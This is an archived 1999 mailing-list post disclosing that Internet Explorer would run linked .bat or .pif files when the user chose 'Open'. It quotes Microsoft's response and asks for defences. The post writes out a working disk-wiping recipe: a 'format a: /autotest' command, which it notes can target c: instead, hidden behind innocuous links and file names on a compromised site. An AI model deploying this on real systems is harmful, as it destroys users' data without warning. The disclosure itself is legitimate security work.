Hi all, Back in July, I discovered a simple way in which a user's hard drive may be unexpectedly formatted via the World Wide Web using the Internet Explorer web browser -- no ActiveX required. Microsoft was contacted many times via Secureat_private but would not acknowledge the difficulty as a problem (part of the e-mail exchange is re-printed below). As it has been over two months since this potential nightmare was pointed out to them, and as no solution has been forthcoming, I'm hoping that you folks might be able to come up with a simple client-side answer to this problem before some vandal discovers it and decides to implement it on a large scale. To summarize: This attack involves uploading a .bat or .pif file (for the Format command) and linking it via html to a standard web page. Once this link is clicked and the user agrees to 'Open' the file presented, a process will be started -- without prompting from the user -- to format the user's hard drive. The key is the Format command's "/autotest" flag, which I believe was put into place early on in MS-DOS's history to assist in batch processing, and was probably dropped from the documentation some time back (it's not in my DOS 5.0 manual as far as I can tell -- although that's not too far in the past). It can be tested for by entering: "Format a: /autotest" at the MS-DOS C:\ prompt. The automated format via web page can be accomplished as follows (with the example shown demonstrating how to create a link on a web page which will automatically format Drive A): 1) Either: Create a .pif file ("Format.pif") with the Command Line set to: "C:\WINDOWS\COMMAND\FORMAT.COM a: /autotest" And Working Line set to: "C:\WINDOWS\COMMAND" Or: Create a .bat file ("Format.bat") with a single command: "format a: /autotest" (Should the user wish to format another disk, the a: may be replaced with c:, d:, e:, etc.) 2) Link to the file on a web page as follows: <a href="Format.pif">Click Me</a> Or: <a href="Format.bat">Click Me</a> According to the method chosen for implementation in step 1. These links may be placed beneath graphics or text, as would be found on a regular web page. 3) Upload the html document and .pif or .bat file to the targetted web server directory and wait for an unwary user to click the link and 'Open'. Spooky, eh? These steps don't create a Trojan Horse so much as an out-right "Cyber Mine" which will be activated on a user's machine the instant they click the link and accept the file into their system. As the download of the < 1k file is almost instantaneous, damage will be made to the user's data in a matter of seconds. The nasty kicker to this particular operation is the "/autotest" flag, which automatically activates the command preceeding it (in this case, the malicious Format) without requiring an acknowledgement from the user. Although the user will be prompted to either 'Save' or 'Open' the file before any damage can be done, it is easy to see how a trusted web site, compromised by a malicious cracker and mined in the manner described above, could deliver this damaging bomb: ----- Reading a trusted web page, the unwary user would click the mined link and accept the file into their system. Given a suitable name, such as 'Business_Plan.bat' or 'Secure.pif', it's reasonable to expect an average user to choose 'Open' when reading this file, as they would normally be provided with an option to save or discard the document at a later time and so have it held -- relatively harmlessly -- in memory. However, with the mined link, an automated format would be started instead. ----- Unfortunately, given the frequency with which web pages are vandalized these days, it's not unreasonable to expect a malicious link of this nature being installed on a high-traffic web site at some point in the future. Should a few hours pass before the incident is discovered (if the vandal leaves the page cosmetically intact, the 'cyber mined' .pif or .bat files (being only 1 k in size) would remain well hidden), a great deal of damage could be done to the systems of visiting users without them quite understanding how or why the damage occurred. There may be other attacks through this hole made possible by linking to different C:\Windows\Command files and I believe it may also be activated through various e-mail applications which permit html encoding -- making for one nasty Melissa-type e-mail! Of course, the user DOES have to choose 'Open' to activate the script, so this isn't necessarily operating outside of the expected bounds of operation for the Internet Explorer web browser. However, given the unforgiving consequences a user would face for unexpectedly 'Opening' one of these malicious files off of a trusted web page or from one's e-mail, the "/autotest" flag might prove to be a feature which deserves early retirement. Now, for Secureat_private's response: -----8<----------8<----------8<----------8<----------8<----------8<----------8<----------8<----- Return-Path: <secureat_private> Received: from mail5.microsoft.com (mail5.microsoft.com [131.107.3.121]) by M5.andara.com (8.9.3/8.9.3) with SMTP id AAA02662 for <codaleat_private>; Thu, 29 Jul 1999 00:05:17 -0300 (ADT) Received: from 157.54.9.108 by mail5.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 28 Jul 1999 20:02:37 -0700 (Pacific Daylight Time) Received: by INET-IMC-05 with Internet Mail Service (5.5.2524.0) id <PWW6Z726>; Wed, 28 Jul 1999 20:02:37 -0700 Message-ID: <D1A11CCE78ADD111A35500805FD43F5801979296@RED-MSG-04> From: Microsoft Product Security Response Team <secureat_private> To: "'Charles O'Dale'" <codaleat_private> Subject: RE: Automated Disk Format via Browser Date: Wed, 28 Jul 1999 20:02:36 -0700 X-Mailer: Internet Mail Service (5.5.2524.0) X-Mozilla-Status: 8013 X-Mozilla-Status2: 00000000 X-UIDL: b74162acb7b26c38ff7f97cefd509df4 Ah, now I understand! The problem is in the dialogue box. By "open" we mean that we'll take whatever action on the file that a double-click would cause. For documents, we open the file. For executables and batch files, we run them. IE is doing what it should, but it sounds like our dialogue box could use some rewording. I hadn't considered that the meaning of the "open" selection might not be clear to everyone, but I can certainly see why it would be confusing. I'll take this issue up with the IE team, and suggest that we reword this dialogue in a future version. Meantime, it sounds like IE security is working fine, it's just our English that needs work. Thanks very much for taking the time to write! Secureat_private -----8<----------8<----------8<----------8<----------8<----------8<----------8<----------8<----- Well, that's the solution I was offered. Doesn't an application have to be registered in IE with its own MIME type before it can be activated straight from a link? If an executable (.exe) file is linked, IE prompts the user with an Authenticode(tm) dialog, warning the user that the .exe has not been digitally signed. This adds a level of security. However, with a .bat or .pif file, the file is executed from within the browser once it is 'Opened'. In the case of the example given, this activates a format of the user's disk without warning. Wouldn't it be prudent to change the handling of .bat and .pif files such that they're either displayed to the screen as text (as with Netscape Navigator / Communicator) or are treated with the same level of security as an .exe? I cannot think of a case where a user would want to have a batch file (or .pif linked command) activated on their machine from a remote location via web browser. Could anyone propose a defense to a stealthy attack of this sort? Thanks, Charles D. O'Dale Halifax, Nova Scotia codaleat_private
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:04:48 PDT